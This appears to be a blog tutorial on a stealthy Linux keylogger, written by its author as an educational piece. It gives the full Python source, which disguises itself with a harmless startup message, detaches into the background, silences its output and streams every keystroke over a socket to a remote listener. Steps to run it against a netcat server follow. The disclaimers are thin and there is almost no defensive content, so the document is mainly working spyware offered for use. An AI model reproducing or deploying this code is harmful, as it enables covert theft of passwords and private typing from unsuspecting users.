Hey, cybersecurity enthusiasts! Ever wondered how attackers silently capture keystrokes while staying invisible? Today, we’re diving into an advanced Python keylogger that runs stealthily in the background, streams keystrokes to a remote server in real-time, and blends into a Linux system like a ghost. This is a hands-on, educational journey to understand malicious techniques—so you can defend against them. Ethical hacking only, folks! Let’s break down this powerful script, explore its inner workings.
What’s This Keylogger All About?
This keylogger is a compact, Linux-native tool that:
- Prints “This is my first program” on startup to seem harmless.
- Runs in the background like a Linux & command, freeing your terminal instantly.
- Captures every keystroke (letters, Enter, Shift, etc.) using the pynput library.
- Sends those keystrokes live to a remote server (e.g., 192.168.0.84:3434) via a socket connection.
- Stays completely silent after startup, leaving no trace in the terminal.
It’s designed to mimic how real-world malware might operate, making it a perfect case study for cyber security researchers learning to spot and counter covert monitoring. Ready to dissect it? Let’s dive into the code and see how it works!
The Code: A Stealthy Masterpiece
Here’s the full script we’ll be exploring:
import os, sys, time, socket
from pynput import keyboard
print("This is my first program")
sys.stdout.flush()
if os.fork():
sys.exit(0)
os.setsid()
with open(os.devnull, 'w') as ff:
os.dup2(ff.fileno(), sys.stdout.fileno())
os.dup2(ff.fileno(), sys.stderr.fileno())
client = socket.socket()
try:
client.connect(("192.168.0.84", 3434))
except:
pass
def log_keys(key):
if hasattr(key, 'char'):
pressed_key = f"key: {key.char}\n"
client.send(pressed_key.encode())
else:
pressed_key = f"key: {key}\n"
client.send(pressed_key.encode())
listener = keyboard.Listener(on_press=log_keys)
listener.start()
while True:
time.sleep(1)
Step 1: The Innocent Facade

The script starts by printing “This is my first program” to the terminal. Why? It’s a clever disguise, making the script look like a harmless beginner project. The sys.stdout.flush()
ensures this message appears immediately before the script dives into its sneaky work. This is a classic attacker trick—blend in, don’t raise suspicion.
Step 2: Going Ghost with Linux Forking

Here’s where the stealth kicks in. The os.fork()
function creates a copy of the running process: a parent and a child. The parent process (where os.fork()
returns a positive value) exits immediately with sys.exit(0)
, returning control to the terminal. This mimics the Linux &
command, where the terminal prompt reappears instantly, complete with its original theme (think Bash or Zsh’s colorful prompt).
The child process (where os.fork() returns 0) continues running. The os.setsid() call detaches it from the terminal by creating a new session, ensuring it’s no longer tied to your shell. This makes the keylogger a true background process, invisible to casual checks.
Step 3: Silencing the Noise

To stay hidden, the script redirects all output to /dev/null
, Linux’s black hole for data. The open(os.devnull, 'w')
opens /dev/null
in write mode, and os.dup2()
redirects the standard output (stdout
) and standard error (stderr
) file descriptors to it. This ensures any errors or stray prints from the script never appear in the terminal, keeping it silent as a shadow.
Step 4: Connecting to the Server

Now the script sets up real-time communication with a remote server. It creates a TCP socket with socket.socket()
and attempts to connect to 192.168.0.84
on port 3434
. This is the attacker’s command-and-control (C2) server, where keystrokes will be sent live. The try/except: pass
ensures the script doesn’t crash if the server is unreachable—it’ll keep running and logging locally. In a real attack, this could be a hacker’s remote machine, but for our demo, it’s a local test server.
Step 5: Capturing Every Keystroke

The log_keys
function is the heart of the keylogger. It’s triggered every time a key is pressed, thanks to the pynput
library. The function checks if the key has a printable character (e.g., a, 1
) using hasattr(key, 'char')
. If it does, it formats it as key: a;
otherwise, it captures special keys (e.g., key: Key.enter
). Each keystroke is sent immediately to the server with client.send(pressed_key.encode())
, encoded as bytes for socket transmission. This real-time streaming is what makes the keylogger so powerful—attackers can see your typing as it happens!
Step 6: Keeping the Listener Alive

The pynput.keyboard.Listener
object hooks into the system’s keyboard events, calling log_keys
for each keypress. The listener.start()
runs it in a separate thread, so it doesn’t block the script. The while True: time.sleep(1)
loop keeps the child process alive indefinitely, ensuring the keylogger continues running in the background. This is a simple but effective way to maintain persistence without hogging CPU.
Setting Up and Running the Keylogger
To test this keylogger ethically, you’ll need a Linux system (e.g., Ubuntu) and a server to receive keystrokes. Here’s how to set it up:
Install Dependencies:
Run pip install pynput to install the pynput library. The socket, os, sys, and time modules are built into Python.
Start a Server:
Use netcat to listen for incoming keystrokes:
nc -lvnp 3434
Run the Keylogger:
Save the script as keylogger.py and run:
python3 keylogger.py
You’ll see “This is my first program,
” then your terminal prompt returns instantly. Type anywhere (e.g., a text editor), and keystrokes appear in the server’s terminal as key: a, key: Key.enter
, etc.
Stop the Keylogger:
Kill the process with:
pkill -f keylogger.py
Ethical Considerations
This keylogger is for educational purposes only. Deploying it without explicit permission is illegal and unethical. Always:
- Test on systems you own or have written consent to experiment on.
- Avoid capturing sensitive data, even in testing.
- Share knowledge responsibly to strengthen defenses, not exploit systems.
Wrapping Up
This Python keylogger is a powerful example of how attackers can combine stealth, persistence, and real-time data theft. With just ~20 lines, it hides in the background, streams keystrokes to a server, and leaves your terminal free—all while looking like an innocent script. For ethical hackers, it’s a goldmine for learning how to spot and stop such threats.
Happy hacking, and stay stealthy!